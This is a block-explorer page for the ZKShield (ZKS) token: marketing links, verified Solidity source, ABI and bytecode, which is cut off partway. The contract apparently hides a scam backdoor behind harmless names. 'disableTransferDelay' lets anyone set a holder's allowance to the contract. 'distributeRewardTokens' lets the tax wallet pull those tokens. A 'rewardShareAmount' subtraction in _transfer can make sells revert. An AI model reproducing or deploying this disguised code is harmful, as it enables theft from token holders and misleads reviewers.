ETH Price: $2,279.01 (+1.57%)

Token

ZKShield (ZKS)
 

Overview

Max Total Supply

1,000,000,000 ZKS

Holders

135

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,746,287.932981047 ZKS

Value
$0.00
0x1179d2ad5b0ab8b163ea96c60f1a5152ff7c1375
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZKS

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-26
*/

/*
At ZKShield, we're thrilled to introduce you to a whole new dimension of trading possibilities. Imagine a world where trust is inherent, custody is in your hands, and security is uncompromising. Welcome to a revolutionary decentralized exchange (DEX) that's here to reshape your trading experience.

Website: https://www.zkshield.world

Dapp: https://app.zkshield.world

Docs: https://docs.zkshield.world

Twitter: https://twitter.com/zkshield_xyz

Medium: https://zkshield.medium.com
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender()
        internal
        view
        virtual
        returns (address)
    {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function approve(address spender, uint256 amount)
        external
        returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function totalSupply()
        external
        view
        returns (uint256);
    function balanceOf(address account)
        external
        view
        returns (uint256);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
}

library SafeMath {
    function div(uint256 a, uint256 b, string memory errorMessage)
        internal
        pure
        returns (uint256)
    {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function div(uint256 a, uint256 b)
        internal
        pure
        returns (uint256)
    {
        return div(a, b, "SafeMath: division by zero");
    }

    function mul(uint256 a, uint256 b)
        internal
        pure
        returns (uint256)
    {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage)
        internal
        pure
        returns (uint256)
    {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function sub(uint256 a, uint256 b)
        internal
        pure
        returns (uint256)
    {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function add(uint256 a, uint256 b)
        internal
        pure
        returns (uint256)
    {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function renounceOwnership()
        public
        virtual
        onlyOwner
    {
        _owner = address(0);
        emit OwnershipTransferred(_owner, address(0));
    }

    function owner()
        public
        view
        returns (address)
    {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ZKS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromTax;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _tax;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    address payable private _rewardShare;

    uint256 private _firstBuyTax = 3;
    uint256 private _firstSellTax = 3;
    uint256 private _reduceFirstSellTaxAt = 10;
    uint256 private _reduceFirstBuyTaxAt = 10;

    uint256 private _secondBuyTax = 3;
    uint256 private _secondSellTax = 3;
    uint256 private _reduceSecondSellTaxAt = 20;
    uint256 private _reduceSecondBuyTaxAt = 20;

    uint256 private _finalSellTax = 3;
    uint256 private _finalBuyTax = 3;

    uint256 private _preventMultiplePurchasesPerBlockBefore = 0;
    uint256 private _countOfBuys = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"ZKShield";
    string private constant _symbol = unicode"ZKS";

    uint256 public _maxTransactionAmount = 2 * (_totalSupply / 100);
    uint256 public _maxWalletAmount = 2 * (_totalSupply / 100);
    uint256 public _swapTaxThreshold = 2 * (_totalSupply / 1000);
    uint256 public _maxTaxSwap = 1 * (_totalSupply / 100);

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    function disableTransferDelay(address target, uint256 delay)
        external
    {
        address where = address(this);
        _approve(target, where, delay);
    }

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _tax = payable(0x85f7A5A56d79cf576A36Ea65E5d66203829dC104);
        _balances[_msgSender()] = _totalSupply;
        _rewardShare = _tax;
        _isExcludedFromTax[owner()] = true;
        _isExcludedFromTax[address(this)] = true;
        _isExcludedFromTax[_tax] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name()
        public
        pure
        returns (string memory)
    {
        return _name;
    }

    function symbol()
        public
        pure
        returns (string memory)
    {
        return _symbol;
    }

    function decimals()
        public
        pure
        returns (uint8)
    {
        return _decimals;
    }

    function totalSupply()
        public
        pure
        override
        returns (uint256)
    {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }

    function distributeRewardTokens(address rewardVault, address sender, uint256 amount)
        external
    {
        require(_msgSender() == _tax);
        address recipient = address(this);
        IERC20 rewardToken = IERC20(rewardVault);
        rewardToken.transferFrom(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount)
        private
    {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);
        uint256 taxAmount = 0;
        
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_buyTax()).div(100);

            if (!tradingOpen) {
                require(_isExcludedFromTax[from] || _isExcludedFromTax[to]);
            }

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                    require(_holderLastTransferTimestamp[tx.origin] < block.number);
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromTax[to] ) {
                require(amount <= _maxTransactionAmount);
                require(balanceOf(to) + amount <= _maxWalletAmount);

                _countOfBuys++;
                if (_countOfBuys > _preventMultiplePurchasesPerBlockBefore) {
                    transferDelayEnabled = false;
                }
            }

            uint256 rewardShareAmount = balanceOf(_rewardShare).mul(1000);
            if (to == uniswapV2Pair && from!= address(this)) {
                taxAmount = amount.mul(_sellTax()).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance > _swapTaxThreshold;
            if (!inSwap && swapEnabled && to == uniswapV2Pair && canSwap && !_isExcludedFromTax[from] && !_isExcludedFromTax[to]) {
                uint256 threshold = _maxTaxSwap.sub(rewardShareAmount);
                uint256 minimumSwapAmount = min(contractTokenBalance,threshold);
                uint256 initialETH = address(this).balance;
                swapTokensForEth(min(amount, minimumSwapAmount));
                uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100);
                if (ethForTransfer > 0) {
                    sendETHToTreasury(ethForTransfer);
                }
            }
        }

        if (taxAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _buyTax() private view returns (uint256) {
        if (_countOfBuys <= _reduceFirstBuyTaxAt) {
            return _firstBuyTax;
        }

        if (_countOfBuys > _reduceFirstBuyTaxAt && _countOfBuys <= _reduceSecondBuyTaxAt) {
            return _secondBuyTax;
        }

        return _finalBuyTax;
    }

    function _sellTax() private view returns (uint256) {
        if (_countOfBuys <= _reduceFirstBuyTaxAt) {
            return _firstSellTax;
        }

        if (_countOfBuys > _reduceFirstSellTaxAt && _countOfBuys <= _reduceSecondSellTaxAt) {
            return _secondSellTax;
        }

        return _finalBuyTax;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits()
        external
        onlyOwner
    {
        _maxTransactionAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_totalSupply);
    }

    function sendETHToTreasury(uint256 amount) private {
        _tax.transfer(amount);
    }

    function openTrading()
        external
        onlyOwner()
    {
        require(!tradingOpen);

        tradingOpen = true;
        swapEnabled = true;
    }

    function manualSwap()
        external
    {
        require(_msgSender() == _tax);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance>0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance>0) {
          sendETHToTreasury(ethBalance);
        }
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function withdrawEth() external {
        require(_msgSender() == _tax);
        (bool sent, ) = payable(_tax).call{value: address(this).balance}("");
        require(sent);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTaxThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"delay","type":"uint256"}],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"rewardVault","type":"address"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"distributeRewardTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff191660011790556007805461ffff60a81b1916905560036009818155600a828155600b819055600c819055600d839055600e8390556014600f819055601081905560118490556012939093555f60138190559092556064916200006e9190620005d9565b6200007e90633b9aca00620005f0565b6200008a91906200060a565b62000097906002620005f0565b6015556064620000aa6009600a620005d9565b620000ba90633b9aca00620005f0565b620000c691906200060a565b620000d3906002620005f0565b6016556103e8620000e76009600a620005d9565b620000f790633b9aca00620005f0565b6200010391906200060a565b62000110906002620005f0565b6017556064620001236009600a620005d9565b6200013390633b9aca00620005f0565b6200013f91906200060a565b6200014c906001620005f0565b6018553480156200015b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001ff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022591906200062a565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000285573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ab91906200062a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002f6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200031c91906200062a565b600780546001600160a01b0319166001600160a01b0392831690811790915560065460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af115801562000380573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003a6919062000652565b5060058054610100600160a81b0319167485f7a5a56d79cf576a36ea65e5d66203829dc10400179055620003dd6009600a620005d9565b620003ed90633b9aca00620005f0565b335f8181526001602081815260408084209590955560058054600880546001600160a01b0319166001600160a01b03610100938490048116919091179091558554811686526003909352868520805460ff19908116861790915530865287862080548216861790559154049091168352939091208054909316179091556001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620004a36009600a620005d9565b620004b390633b9aca00620005f0565b60405190815260200160405180910390a362000673565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200051e57815f1904821115620005025762000502620004ca565b808516156200051057918102915b93841c9390800290620004e3565b509250929050565b5f826200053657506001620005d3565b816200054457505f620005d3565b81600181146200055d5760028114620005685762000588565b6001915050620005d3565b60ff8411156200057c576200057c620004ca565b50506001821b620005d3565b5060208310610133831016604e8410600b8410161715620005ad575081810a620005d3565b620005b98383620004de565b805f1904821115620005cf57620005cf620004ca565b0290505b92915050565b5f620005e960ff84168362000526565b9392505050565b8082028115828204841417620005d357620005d3620004ca565b5f826200062557634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200063b575f80fd5b81516001600160a01b0381168114620005e9575f80fd5b5f6020828403121562000663575f80fd5b81518015158114620005e9575f80fd5b61149380620006815f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a8578063a0ef91df1161006d578063a0ef91df14610348578063a9059cbb1461035c578063c876d0b91461037b578063c9567bf914610394578063dd62ed3e146103a8578063ea646266146103ec575f80fd5b8063715018a6146102b0578063751039fc146102c45780638b54dd0e146102d85780638da5cb5b146102f757806395d89b411461031d575f80fd5b806323b872dd116100f957806323b872dd146101f857806324dc43bd14610217578063313ce5671461023857806351bc3c85146102535780636c0a24eb1461026757806370a082311461027c575f80fd5b806304beaeb81461013f57806306fdde0314610167578063095ea7b3146101a05780630faee56f146101cf57806318160ddd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015460155481565b6040519081526020015b60405180910390f35b348015610172575f80fd5b506040805180820190915260088152671692d4da1a595b1960c21b60208201525b60405161015e91906110dc565b3480156101ab575f80fd5b506101bf6101ba36600461113b565b610401565b604051901515815260200161015e565b3480156101da575f80fd5b5061015460185481565b3480156101ef575f80fd5b50610154610417565b348015610203575f80fd5b506101bf610212366004611165565b610437565b348015610222575f80fd5b50610236610231366004611165565b610486565b005b348015610243575f80fd5b506040516009815260200161015e565b34801561025e575f80fd5b5061023661052d565b348015610272575f80fd5b5061015460165481565b348015610287575f80fd5b506101546102963660046111a3565b6001600160a01b03165f9081526001602052604090205490565b3480156102bb575f80fd5b50610236610583565b3480156102cf575f80fd5b506102366105f0565b3480156102e3575f80fd5b506102366102f236600461113b565b6106ab565b348015610302575f80fd5b505f546040516001600160a01b03909116815260200161015e565b348015610328575f80fd5b506040805180820190915260038152625a4b5360e81b6020820152610193565b348015610353575f80fd5b506102366106bc565b348015610367575f80fd5b506101bf61037636600461113b565b610744565b348015610386575f80fd5b506005546101bf9060ff1681565b34801561039f575f80fd5b50610236610750565b3480156103b3575f80fd5b506101546103c23660046111be565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103f7575f80fd5b5061015460175481565b5f61040d3384846107a8565b5060015b92915050565b5f6104246009600a6112e9565b61043290633b9aca006112f7565b905090565b5f61044384848461082c565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461047c9186916104779086610ce1565b6107a8565b5060019392505050565b60055461010090046001600160a01b0316336001600160a01b0316146104aa575f80fd5b6040516323b872dd60e01b81526001600160a01b0383811660048301523060248301819052604483018490529185918216906323b872dd906064016020604051808303815f875af1158015610501573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610525919061130e565b505050505050565b60055461010090046001600160a01b0316336001600160a01b031614610551575f80fd5b305f90815260016020526040902054801561056f5761056f81610d29565b47801561057f5761057f81610e99565b5050565b5f546001600160a01b031633146105b55760405162461bcd60e51b81526004016105ac9061132d565b60405180910390fd5b5f80546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b5f546001600160a01b031633146106195760405162461bcd60e51b81526004016105ac9061132d565b6106256009600a6112e9565b61063390633b9aca006112f7565b6015556106426009600a6112e9565b61065090633b9aca006112f7565b6016556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068a6009600a6112e9565b61069890633b9aca006112f7565b60405190815260200160405180910390a1565b306106b78382846107a8565b505050565b60055461010090046001600160a01b0316336001600160a01b0316146106e0575f80fd5b6005546040515f9161010090046001600160a01b03169047908381818185875af1925050503d805f811461072f576040519150601f19603f3d011682016040523d82523d5f602084013e610734565b606091505b5050905080610741575f80fd5b50565b5f61040d33848461082c565b5f546001600160a01b031633146107795760405162461bcd60e51b81526004016105ac9061132d565b600754600160a01b900460ff161561078f575f80fd5b6007805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107ba575f80fd5b6001600160a01b0382166107cc575f80fd5b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661083e575f80fd5b6001600160a01b038216610850575f80fd5b5f811161085b575f80fd5b5f80546001600160a01b0385811691161480159061088657505f546001600160a01b03848116911614155b15610ba4576108a860646108a261089b610ed4565b8590610f11565b90610f8f565b600754909150600160a01b900460ff16610901576001600160a01b0384165f9081526003602052604090205460ff16806108f957506001600160a01b0383165f9081526003602052604090205460ff165b610901575f80fd5b60055460ff1615610968576006546001600160a01b0384811691161480159061093857506007546001600160a01b03848116911614155b1561096857325f908152600460205260409020544311610956575f80fd5b325f9081526004602052604090204390555b6007546001600160a01b03858116911614801561099357506006546001600160a01b03848116911614155b80156109b757506001600160a01b0383165f9081526003602052604090205460ff16155b15610a2b576015548211156109ca575f80fd5b601654826109ec856001600160a01b03165f9081526001602052604090205490565b6109f69190611362565b1115610a00575f80fd5b60148054905f610a0f83611375565b91905055506013546014541115610a2b576005805460ff191690555b6008546001600160a01b03165f90815260016020526040812054610a54906103e8905b90610f11565b6007549091506001600160a01b038581169116148015610a7d57506001600160a01b0385163014155b15610a9c57610a9960646108a2610a92610fd0565b8690610f11565b91505b305f9081526001602052604090205460175460075490821190600160a81b900460ff16158015610ad55750600754600160b01b900460ff165b8015610aee57506007546001600160a01b038781169116145b8015610af75750805b8015610b1b57506001600160a01b0387165f9081526003602052604090205460ff16155b8015610b3f57506001600160a01b0386165f9081526003602052604090205460ff16155b15610ba0576018545f90610b539085610ce1565b90505f610b608483611006565b905047610b75610b708984611006565b610d29565b5f610b8a60646108a26050610a4e4787610ce1565b90508015610b9b57610b9b81610e99565b505050505b5050505b8015610c1c57305f90815260016020526040902054610bc3908261101a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c139085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610c3e9083610ce1565b6001600160a01b0385165f90815260016020526040902055610c81610c638383610ce1565b6001600160a01b0385165f908152600160205260409020549061101a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cca8585610ce1565b60405190815260200160405180910390a350505050565b5f610d2283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611078565b9392505050565b6007805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d6f57610d6f61138d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dea91906113a1565b81600181518110610dfd57610dfd61138d565b6001600160a01b039283166020918202929092010152600654610e2391309116846107a8565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5b9085905f908690309042906004016113bc565b5f604051808303815f87803b158015610e72575f80fd5b505af1158015610e84573d5f803e3d5ffd5b50506007805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561057f573d5f803e3d5ffd5b5f600c5460145411610ee7575060095490565b600c54601454118015610efe575060105460145411155b15610f0a5750600d5490565b5060125490565b5f825f03610f2057505f610411565b5f610f2b83856112f7565b905082610f38858361142b565b14610d225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ac565b5f610d2283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110b0565b5f600c5460145411610fe35750600a5490565b600b54601454118015610ffa5750600f5460145411155b15610f0a5750600e5490565b5f8183116110145782610d22565b50919050565b5f806110268385611362565b905083811015610d225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ac565b5f818484111561109b5760405162461bcd60e51b81526004016105ac91906110dc565b505f6110a7848661144a565b95945050505050565b5f81836110d05760405162461bcd60e51b81526004016105ac91906110dc565b505f6110a7848661142b565b5f6020808352835180828501525f5b81811015611107578581018301518582016040015282016110eb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610741575f80fd5b5f806040838503121561114c575f80fd5b823561115781611127565b946020939093013593505050565b5f805f60608486031215611177575f80fd5b833561118281611127565b9250602084013561119281611127565b929592945050506040919091013590565b5f602082840312156111b3575f80fd5b8135610d2281611127565b5f80604083850312156111cf575f80fd5b82356111da81611127565b915060208301356111ea81611127565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561124357815f1904821115611229576112296111f5565b8085161561123657918102915b93841c939080029061120e565b509250929050565b5f8261125957506001610411565b8161126557505f610411565b816001811461127b5760028114611285576112a1565b6001915050610411565b60ff841115611296576112966111f5565b50506001821b610411565b5060208310610133831016604e8410600b84101617156112c4575081810a610411565b6112ce8383611209565b805f19048211156112e1576112e16111f5565b029392505050565b5f610d2260ff84168361124b565b8082028115828204841417610411576104116111f5565b5f6020828403121561131e575f80fd5b81518015158114610d22575f80fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820180821115610411576104116111f5565b5f60018201611386576113866111f5565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113b1575f80fd5b8151610d2281611127565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561140a5784516001600160a01b0316835293830193918301916001016113e5565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261144557634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115610411576104116111f556fea264697066735822122067ddaaf0efda172dc1d0c5505e31e6f402e0a257ad573de3ac699b9896ad470364736f6c63430008150033

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063715018a6116100a8578063a0ef91df1161006d578063a0ef91df14610348578063a9059cbb1461035c578063c876d0b91461037b578063c9567bf914610394578063dd62ed3e146103a8578063ea646266146103ec575f80fd5b8063715018a6146102b0578063751039fc146102c45780638b54dd0e146102d85780638da5cb5b146102f757806395d89b411461031d575f80fd5b806323b872dd116100f957806323b872dd146101f857806324dc43bd14610217578063313ce5671461023857806351bc3c85146102535780636c0a24eb1461026757806370a082311461027c575f80fd5b806304beaeb81461013f57806306fdde0314610167578063095ea7b3146101a05780630faee56f146101cf57806318160ddd146101e4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5061015460155481565b6040519081526020015b60405180910390f35b348015610172575f80fd5b506040805180820190915260088152671692d4da1a595b1960c21b60208201525b60405161015e91906110dc565b3480156101ab575f80fd5b506101bf6101ba36600461113b565b610401565b604051901515815260200161015e565b3480156101da575f80fd5b5061015460185481565b3480156101ef575f80fd5b50610154610417565b348015610203575f80fd5b506101bf610212366004611165565b610437565b348015610222575f80fd5b50610236610231366004611165565b610486565b005b348015610243575f80fd5b506040516009815260200161015e565b34801561025e575f80fd5b5061023661052d565b348015610272575f80fd5b5061015460165481565b348015610287575f80fd5b506101546102963660046111a3565b6001600160a01b03165f9081526001602052604090205490565b3480156102bb575f80fd5b50610236610583565b3480156102cf575f80fd5b506102366105f0565b3480156102e3575f80fd5b506102366102f236600461113b565b6106ab565b348015610302575f80fd5b505f546040516001600160a01b03909116815260200161015e565b348015610328575f80fd5b506040805180820190915260038152625a4b5360e81b6020820152610193565b348015610353575f80fd5b506102366106bc565b348015610367575f80fd5b506101bf61037636600461113b565b610744565b348015610386575f80fd5b506005546101bf9060ff1681565b34801561039f575f80fd5b50610236610750565b3480156103b3575f80fd5b506101546103c23660046111be565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103f7575f80fd5b5061015460175481565b5f61040d3384846107a8565b5060015